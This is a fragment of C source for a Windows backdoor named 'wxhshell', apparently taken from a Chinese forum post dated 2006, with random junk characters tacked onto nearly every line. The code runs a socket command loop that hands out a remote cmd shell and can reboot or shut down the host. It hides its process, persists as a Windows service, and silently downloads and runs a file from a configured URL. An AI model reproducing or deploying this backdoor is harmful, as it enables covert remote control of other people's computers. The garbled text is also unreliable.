%dmQmO,  
    switch(cmd[0]) { I L&PN`#  
  u[wDOw  
  // 帮助 ZZxt90YR'5  
  case '?': { QRdtr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z:Ru`  
    break; (i<\n`h1K  
  } ZLP0SCkuR  
  // 安装 i-95>ff  
  case 'i': { 8*VQw?{Uee  
    if(Install()) ,Wd+&|Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NS x-~)  
    else ) TNG0[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qMO(j%N5  
    break; .UK`~17!  
    } [e|9%[.V  
  // 卸载 %&'[? LXD  
  case 'r': { aJs! bx>K  
    if(Uninstall()) A i#~Eu*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yv{$XI7  
    else #; P-*P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [4])\q^q  
    break; HR'F  
    } PGTjOkx  
  // 显示 wxhshell 所在路径 bI;u};v  
  case 'p': { Xa U ^^K  
    char svExeFile[MAX_PATH]; o|s|Wm x>u  
    strcpy(svExeFile,"\n\r"); 8RZqoQDH  
      strcat(svExeFile,ExeFile); }&l%>P  
        send(wsh,svExeFile,strlen(svExeFile),0); dZd]p8  
    break; /5>A 2y  
    } \3 rgwbF  
  // 重启 T%TO?[cN  
  case 'b': { 8X\":l:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0w2<2grQ  
    if(Boot(REBOOT)) H7{kl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V1,4M_Z  
    else { xiC.M6/  
    closesocket(wsh); u3 4.   
    ExitThread(0); K[-G2  
    } )4GCL(&  
    break; QcdAg%"yy  
    } .g_Kab3?L  
  // 关机 eN  TKX  
  case 'd': { {I$zmVG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,G$<J0R1  
    if(Boot(SHUTDOWN)) %x^U3"7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *M~BN}.  
    else { \VAS<?3  
    closesocket(wsh); 2;SiH]HNS  
    ExitThread(0); 0n?^I>j  
    } +'g~3A-G  
    break; -0*z"a9<p8  
    } DL '{ rK  
  // 获取shell 7*Gg#XQ>(  
  case 's': { hus9Zv4  
    CmdShell(wsh); ?j8_j  
    closesocket(wsh); YipL_&-  
    ExitThread(0); Bv}i#D  
    break; }SW>ysw'm  
  } [-=y*lx %g  
  // 退出 / \k\HK8  
  case 'x': { u-wj\BU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^K'XlM`a  
    CloseIt(wsh); #/>OW2Ny  
    break; )f`oCXh  
    } e yByAT~W,  
  // 离开 #ChF{mh  
  case 'q': { q+ 9c81b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (;nh?"5  
    closesocket(wsh); {@X)=.Zf  
    WSACleanup(); _s0;mvz'  
    exit(1); X_wPuU%  
    break; 6oR5q 4  
        } p<(b^{EX  
  } JjH141 n%D  
  } !ac,qj7spa  
Vfr.Yoy  
  // 提示信息 ]RI+:f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T^nOv2@,  
} /Nd`eUn  
  } JHsxaX;c  
zW; sr.  
  return; 2Ni {fC?  
} f2M}N  
6"c(5#H  
// shell模块句柄 WP? AQD  
int CmdShell(SOCKET sock) e:;u_ be~  
{ r )f+j@KF  
STARTUPINFO si; Wtj* Z.=:  
ZeroMemory(&si,sizeof(si)); TDW\n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v6'k`HnK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @VKN6yHH  
PROCESS_INFORMATION ProcessInfo; B d?{ldg  
char cmdline[]="cmd"; 3TnrPO1E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <L<d_  
  return 0; 5wm(gF_t  
} 6tBe,'*  
u'"]{.K>fb  
// 自身启动模式 {bO O?pp  
int StartFromService(void) |Y;[)s =q  
{ >B+!fi'SS>  
typedef struct B5/"2i  
{ %_ Vj'z~T  
  DWORD ExitStatus; 43BqNQ0  
  DWORD PebBaseAddress; D'\gy$9m1  
  DWORD AffinityMask; ]9$^=z%SE  
  DWORD BasePriority; o+FDkqEN  
  ULONG UniqueProcessId; Gx h1wqLR  
  ULONG InheritedFromUniqueProcessId; CdNb&Nyz  
}   PROCESS_BASIC_INFORMATION; 5P![fX|5  
[|APMMYK1  
PROCNTQSIP NtQueryInformationProcess; \) g?mj^  
cFloaCz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9<1dps=c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q3/ 0xN+?  
Xny{8Oo<1?  
  HANDLE             hProcess; '>#8 F.  
  PROCESS_BASIC_INFORMATION pbi; ,^&amWey  
->a |  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lw_PQ4Hp  
  if(NULL == hInst ) return 0; qPgny/(  
{*K7P>&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *w23(f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X~ g9TUv8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qW|_|%{U+  
QJtO~~-  
  if (!NtQueryInformationProcess) return 0; %@Nu{?I  
<4%vl+qW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _+}#  
  if(!hProcess) return 0; v1\/dQK  
C?t!Uvs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^_G@a,  
gE~LPwM  
  CloseHandle(hProcess); ow K)]t  
`-w;/A"MJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CsiRM8  
if(hProcess==NULL) return 0; tk!5"`9N  
J)= "Im)  
HMODULE hMod; F4 =V* /7  
char procName[255]; >|g(/@IO  
unsigned long cbNeeded; ?dAy_| zD  
EEj.Kch}4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ 3,:G$,  
ugS  
  CloseHandle(hProcess); @k||gQqIB  
Z90]I<a~  
if(strstr(procName,"services")) return 1; // 以服务启动 Nd%j0lj  
j},3@TFh  
  return 0; // 注册表启动 9 f= ~E8P  
} :HkX sZ  
"*ww>0[  
// 主模块 QeG3X+  
int StartWxhshell(LPSTR lpCmdLine) ,d$D0w  
{ #.@-ng6C  
  SOCKET wsl; o8u;2gZx  
BOOL val=TRUE; M&` b\la  
  int port=0; aBWA hn  
  struct sockaddr_in door; 4XIc|a Aa  
9G^gI}bY  
  if(wscfg.ws_autoins) Install(); Z^_gS&nDa~  
YZ^mH <  
port=atoi(lpCmdLine); 40HhMTZ0-  
#;/ob-  
if(port<=0) port=wscfg.ws_port; ,#K{+1z:  
Yp EH(tq  
  WSADATA data; 3U%kf<m=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U}DLzn|w  
J(w 3A)(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :r9<wbr)k0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V{n7KhN~Y!  
  door.sin_family = AF_INET; D4$2'h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /o9 0O&  
  door.sin_port = htons(port); l;}3J3/qq]  
W}@IUCRs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q@vqhE4  
closesocket(wsl); CI^s~M >  
return 1; >Et~h65d5  
} LpN3cy>U  
h}4yz96WD  
  if(listen(wsl,2) == INVALID_SOCKET) { 1C(sBU"  
closesocket(wsl); +P%k@w#<Z  
return 1; fw)Q1"|  
} D 3Tqk^5  
  Wxhshell(wsl); rG3?Z^&R+  
  WSACleanup(); moL3GV%]Gq  
pKaU [1x?%  
return 0; USZBk0$  
OxN[w|2\4  
} a] 7nK+N  
<."KejXg-  
// 以NT服务方式启动  Lr0:y o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k5)a|  
{ _fS4a134R  
DWORD   status = 0; 2 ])e}& i  
  DWORD   specificError = 0xfffffff; Sm;@MI<@/  
8^sh@j2L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 17-B'Gl!<%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B_ bZa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wU|jw(  
  serviceStatus.dwWin32ExitCode     = 0; ic}mru  
  serviceStatus.dwServiceSpecificExitCode = 0; L}rYh`bUP[  
  serviceStatus.dwCheckPoint       = 0; 0X5b32  
  serviceStatus.dwWaitHint       = 0; F ESl#.}  
Uo;a$sR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DMlr%)@ {  
  if (hServiceStatusHandle==0) return; Vllxv6/_  
Zxh<pd25Y  
status = GetLastError(); %F\.1\&eE  
  if (status!=NO_ERROR) 7[I +1  
{ 2"_5Yyb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O_L>We@3E  
    serviceStatus.dwCheckPoint       = 0; a[p$e?gka  
    serviceStatus.dwWaitHint       = 0; 2S-f5&o  
    serviceStatus.dwWin32ExitCode     = status; #_WkV  
    serviceStatus.dwServiceSpecificExitCode = specificError; N5zx#g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -F_c Bu81V  
    return; `\GR Y @cg  
  } \,'4eV  
qiH)J- ~GZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J&&)%&h'I  
  serviceStatus.dwCheckPoint       = 0; g'cVsO)S  
  serviceStatus.dwWaitHint       = 0; aW9\h_$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xjD."q  
} X 8):R- J  
kPoz&e_@  
// 处理NT服务事件,比如:启动、停止 I51I(QF=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~F%sO'4!  
{ nw(R=C  
switch(fdwControl) vo(:g6$  
{ *HB 32 =qD  
case SERVICE_CONTROL_STOP: gegM&Xo  
  serviceStatus.dwWin32ExitCode = 0; H4W!Md  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -fp/3-  
  serviceStatus.dwCheckPoint   = 0; o`G6!  
  serviceStatus.dwWaitHint     = 0; -ijzo%&qA  
  { cbl>:ev1h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _D$1CaAYo  
  } "Mz#1Laby`  
  return; xT(0-o*  
case SERVICE_CONTROL_PAUSE: e+)y6Q=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hu.p;A3p;  
  break; g#`}HuPoE  
case SERVICE_CONTROL_CONTINUE: MJkusR/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &XCP@@T  
  break; R+z'6&/ =I  
case SERVICE_CONTROL_INTERROGATE: Kp^"<%RT  
  break; 5h|aX  
}; ;" Aj80  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #<X4RJ  
} 'T$Cw\F&  
T?RN} @D  
// 标准应用程序主函数 -xbs'[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rT\~VJ>+i  
{ mE_%  
h=\1ZQKC)  
// 获取操作系统版本 I L,lXB<  
OsIsNt=GetOsVer(); v|KIVBkbT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :W6'G@ p  
]=9 d'WL  
  // 从命令行安装 {]dG 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); \GQRpJ#h1  
WP?]"H  
  // 下载执行文件 "a9j2+9  
if(wscfg.ws_downexe) { {~w(pAx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V^4v`}Wgx  
  WinExec(wscfg.ws_filenam,SW_HIDE); bDudETl  
} v(GnG  
}a#T\6rY  
if(!OsIsNt) { ||fw!8E  
// 如果时win9x,隐藏进程并且设置为注册表启动 yYSmmgrX0  
HideProc(); Ghc U ~  
StartWxhshell(lpCmdLine); %?, 7!|Ls  
} ZjY,k  
else ^$}O?y7O  
  if(StartFromService()) k`&FyN^)  
  // 以服务方式启动 }V*?~.R  
  StartServiceCtrlDispatcher(DispatchTable); `Tf}h8*  
else 'CSjj@3X  
  // 普通方式启动 _iCrQJ0"T  
  StartWxhshell(lpCmdLine); m5&Ht (I%n  
X)6G :cD  
return 0; l0;u$  
}
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只看该作者 1 发表于: 2006-10-10
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